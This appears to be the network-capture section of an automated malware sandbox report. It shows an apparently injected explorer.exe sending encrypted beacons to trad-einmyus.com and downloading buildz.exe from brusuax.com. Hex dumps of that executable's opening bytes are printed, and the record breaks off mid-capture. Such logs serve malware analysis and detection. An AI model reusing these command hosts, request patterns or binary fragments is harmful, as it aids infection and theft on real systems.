                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              12192.168.2.549725185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.446372032 CET286OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://yevpngylpyogtcho.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 195
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.446446896 CET195OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 97 66 5d 02 c8 a1 c1 64 36 c8 9d 72
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d6rY?9ohP2<>fm[DOgflhA9R+T8_^s}~207N'eLj@:i&2r1zBq8Nc
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.695004940 CET227INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:25 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c3 95 53 14 7e 13 e8 e8 8f bd a7 5e a0 10 91 60 a2 5f 53 90 1f bf ec 31 e5 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 2cI:82OS~^`_S10


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              13192.168.2.549729196.188.169.138801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.796986103 CET162OUTGET /dl/buildz.exe HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Host: brusuax.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.532960892 CET1286INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:30 GMT
                                                                                                                                                                                                                                                              Content-Type: application/octet-stream
                                                                                                                                                                                                                                                              Content-Length: 715776
                                                                                                                                                                                                                                                              Last-Modified: Thu, 08 Feb 2024 19:10:02 GMT
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              ETag: "65c5270a-aec00"
                                                                                                                                                                                                                                                              Accept-Ranges: bytes
                                                                                                                                                                                                                                                              Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 a1 83 dd b2 c0 ed 8e b2 c0 ed 8e b2 c0 ed 8e dd b6 46 8e a7 c0 ed 8e dd b6 73 8e a1 c0 ed 8e dd b6 47 8e ea c0 ed 8e bb b8 7e 8e b7 c0 ed 8e b2 c0 ec 8e d1 c0 ed 8e dd b6 42 8e b3 c0 ed 8e dd b6 77 8e b3 c0 ed 8e dd b6 70 8e b3 c0 ed 8e 52 69 63 68 b2 c0 ed 8e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 45 fa c2 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 68 0a 00 00 34 7b 02 00 00 00 00 ac 14 00 00 00 10 00 00 00 80 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 85 02 00 04 00 00 93 75 0b 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 a8 0a 00 3c 00 00 00 00 90 85 02 30 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 a5 0a 00 18 00 00 00 10 a5 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 80 0a 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 67 0a 00 00 10 00 00 00 68 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 98 31 00 00 00 80 0a 00 00 32 00 00 00 6c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 85 7a 02 00 c0 0a 00 00 1e 00 00 00 9e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 63 65 6d 00 00 00 00 7c 00 00 00 00 50 85 02 00 02 00 00 00 bc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 cd 09 00 00 00 60 85 02 00 0a 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 79 6f 6e 69 73 75 00 0c 00 00 00 00 70 85 02 00 02 00 00 00 c8 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 66 61 6c 65 6c 75 00 00 04 00 00 00 80 85 02 00 04 00 00 00 ca 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 30 1c 00 00 00 90 85 02 00 1e 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                              Data Ascii: MZ@!L!This program cannot be run in DOS mode.$FsG~BwpRichPELEch4{@u$<0X@.textrgh `.rdata12l@@.dataz@.cem|P@.tls`@.yonisup@@.falelu@.rsrc0@@
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533035040 CET1286INData Raw: d9 ee d9 fe c3 cc cc cc cc cc cc cc cc cc cc cc d9 ee 83 ec 08 dd 1c 24 e8 b3 a5 09 00 83 c4 08 c3 cc ff 25 00 80 4a 00 ff 25 04 80 4a 00 ff 25 08 80 4a 00 ff 25 0c 80 4a 00 ff 25 10 80 4a 00 ff 25 14 80 4a 00 ff 25 18 80 4a 00 ff 25 1c 80 4a 00
                                                                                                                                                                                                                                                              Data Ascii: $%J%J%J%J%J%J%J%J% J%$J%(J%,J%0J%4J%8J%<J%@J%DJ%HJ%LJ%PJ%TJ%XJ%\J%`J%dJ%hJ%lJ%pJ%tJ%xJ%|J%J%J%J
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533075094 CET1286INData Raw: 00 66 8c 2d 94 de 4a 00 9c 8f 05 c8 de 4a 00 8b 45 00 a3 bc de 4a 00 8b 45 04 a3 c0 de 4a 00 8d 45 08 a3 cc de 4a 00 8b 85 e0 fc ff ff c7 05 08 de 4a 00 01 00 01 00 a1 c0 de 4a 00 a3 bc dd 4a 00 c7 05 b0 dd 4a 00 09 04 00 c0 c7 05 b4 dd 4a 00 01
                                                                                                                                                                                                                                                              Data Ascii: f-JJEJEJEJJJJJJJJJJj+YjJhJJ=JujYhJPJUE3;JtA-rHwjX]J]DjY;#
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533117056 CET1286INData Raw: e8 7d 17 00 00 6a 16 58 5d c3 a1 00 e1 4a 00 85 c0 74 e2 89 01 33 c0 5d c3 8b ff 55 8b ec 8b 4d 08 85 c9 75 15 e8 c8 fb ff ff c7 00 16 00 00 00 e8 4d 17 00 00 6a 16 58 5d c3 a1 fc e0 4a 00 85 c0 74 e2 89 01 33 c0 5d c3 8b ff 55 8b ec 83 3d 28 9a
                                                                                                                                                                                                                                                              Data Ascii: }jX]Jt3]UMuMjX]Jt3]U=(Jth(J$Ytu(JY#hJhJAYYuTVWh)@JJY;st;r=tE_^thtE9$YtjjjtE3]j hJj
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533159971 CET1286INData Raw: 8b ec 83 7d 08 00 74 14 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c e8 f4 11 00 00 5d c3 8b ff 55 8b ec 33 c0 8b 4d 08 3b 0c c5 88 8a 4a 00 74 0a 40 83 f8 16 72 ee 33 c0 5d c3 8b 04 c5 8c 8a 4a 00 5d c3 8b ff 55 8b ec 81 ec fc 01 00 00 a1 04 c0
                                                                                                                                                                                                                                                              Data Ascii: }tuuuuu]U3M;Jt@r3]J]UJ3ESVuWV3Y;ljV%YjE%Yu=J6hJhJW$hBJVSfJJJuhJ
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533198118 CET1286INData Raw: 8b ff 55 8b ec 51 8b 4d 10 53 33 c0 56 89 07 8b f2 8b 55 0c c7 01 01 00 00 00 39 45 08 74 09 8b 5d 08 83 45 08 04 89 13 89 45 fc 80 3e 22 75 10 33 c0 39 45 fc b3 22 0f 94 c0 46 89 45 fc eb 3c ff 07 85 d2 74 08 8a 06 88 02 42 89 55 0c 8a 1e 0f b6
                                                                                                                                                                                                                                                              Data Ascii: UQMS3VU9Et]EE>"u39E"FE<tBUPFg#Yt}tMEFUMt2}u tutBe>< t<uFN>}tEE3C3FA>\t>"u&u}tF8"u
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533236980 CET1286INData Raw: 4e 04 40 c7 06 fe ff ff ff 43 83 fb 03 0f 8c 68 ff ff ff ff 35 5c 44 c5 02 ff 15 04 81 4a 00 33 c0 5f 5b 5e c9 c3 83 c8 ff eb f6 8b ff 56 57 bf 60 44 c5 02 8b 07 85 c0 74 36 8d 88 00 08 00 00 3b c1 73 21 8d 70 0c 83 7e fc 00 74 07 56 ff 15 10 81
                                                                                                                                                                                                                                                              Data Ascii: N@Ch5\DJ3_[^VW`Dt6;s!p~tVJ@N;r7'Y`E|_^VJJW;st;r_^VJJW;st;r_^jJJUu5JJ]
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533274889 CET1286INData Raw: c7 05 40 e8 4a 00 f1 29 40 00 89 35 48 e8 4a 00 a3 4c e8 4a 00 ff 15 14 81 4a 00 a3 c4 c1 4a 00 83 f8 ff 0f 84 c1 00 00 00 ff 35 44 e8 4a 00 50 ff d6 85 c0 0f 84 b0 00 00 00 e8 1e eb ff ff ff 35 40 e8 4a 00 8b 35 a8 80 4a 00 ff d6 ff 35 44 e8 4a
                                                                                                                                                                                                                                                              Data Ascii: @J)@5HJLJJJ5DJP5@J5J5DJ@J5HJDJ5LJHJLJtc=Jh+@5@JJtDhj<YYt0V5J5HJtjVYY(JN3@]3^_U
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533312082 CET1286INData Raw: c0 5b 5d c3 8b ff 55 8b ec 83 7d 08 00 75 0b ff 75 0c e8 59 ff ff ff 59 5d c3 56 8b 75 0c 85 f6 75 0d ff 75 08 e8 c7 dd ff ff 59 33 c0 eb 4d 57 eb 30 85 f6 75 01 46 56 ff 75 08 6a 00 ff 35 d4 e0 4a 00 ff 15 3c 81 4a 00 8b f8 85 ff 75 5e 39 05 58
                                                                                                                                                                                                                                                              Data Ascii: []U}uuYY]VuuuY3MW0uFVuj5J<Ju^9XJt@VYtvVYa3_^]PJPY8JPYUMS3;vj3X;Es3AMVW9]tuY
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533349037 CET106INData Raw: 00 39 7e 5c 75 27 ff 35 90 8c 4a 00 e8 87 df ff ff 59 89 46 5c 85 c0 0f 84 74 01 00 00 ff 35 90 8c 4a 00 57 50 e8 c6 1b 00 00 83 c4 0c ff 76 5c 8b d3 e8 f6 fe ff ff 59 85 c0 0f 84 51 01 00 00 8b 48 08 89 4d e4 8b 4d 0c 83 f9 02 0f 84 2e 01 00 00
                                                                                                                                                                                                                                                              Data Ascii: 9~\u'5JYF\t5JWPv\YQHMM.HJkV\
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812411070 CET1286INData Raw: 78 fc 3b fa 0f 83 0c 01 00 00 39 18 74 df e9 03 01 00 00 6a 00 e8 27 fd ff ff 59 83 65 fc 00 3b df 74 05 83 fb 15 75 3e 83 3d c4 e9 4a 00 00 75 35 6a 01 68 c1 36 40 00 ff 15 4c 81 4a 00 33 c9 41 3b c1 75 08 89 0d c4 e9 4a 00 eb 19 e8 25 dd ff ff
                                                                                                                                                                                                                                                              Data Ascii: x;9tj'Ye;tu>=Ju5jh6@LJ3A;uJ%JEu+tyttNt(H5JJE;toVJJa5JJE;tNVJJ@5JJE;t-VJJ5JJE


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              14192.168.2.549730185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:32.827743053 CET285OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://atcqmuvymvoahqf.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 291
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:32.827743053 CET291OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 84 de 97 66 5d 02 c9 a1 c1 64 04 86 ab 1d
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dq,~MJ@RNVofUE3<0}X<RC5C}wM%'I?~B'bk\JS(7/#oSxEt|2sAn]@GL386Q|wZ&A
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:33.081490993 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:32 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              15192.168.2.549731185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:33.496692896 CET285OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://vyqiomshqssisvw.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 365
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:33.496773958 CET365OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 94 66 5d 02 c8 a1 c1 64 31 c2 a7 68
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d1hR`"y][[}zd"BYt>mRfSl9J#pQRu43OId2oey/b~\HKLGW9GQzf!pDUU')2Q22*
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:33.761848927 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:33 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              16192.168.2.549733185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:34.008543968 CET286OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://rytahgiebpnmfjrr.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 219
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:34.008586884 CET219OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 95 66 5d 02 c8 a1 c1 64 1e d5 cd 35
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d5u^JBfCT~lz#+#a7!9?v.cl!/G`N"P@50D*E+/b_v4E~ HfB2D5fJZJ7
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:34.287157059 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:34 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              17192.168.2.549735185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:34.530093908 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://yqfebuetluk.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 202
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:34.530131102 CET202OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 92 66 5d 02 c8 a1 c1 64 1d d6 9e 68
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dh\RXO6zG#o}Cyq/2=wK-NPXB}\MR]*KW4'PT]puv93xsyK#p
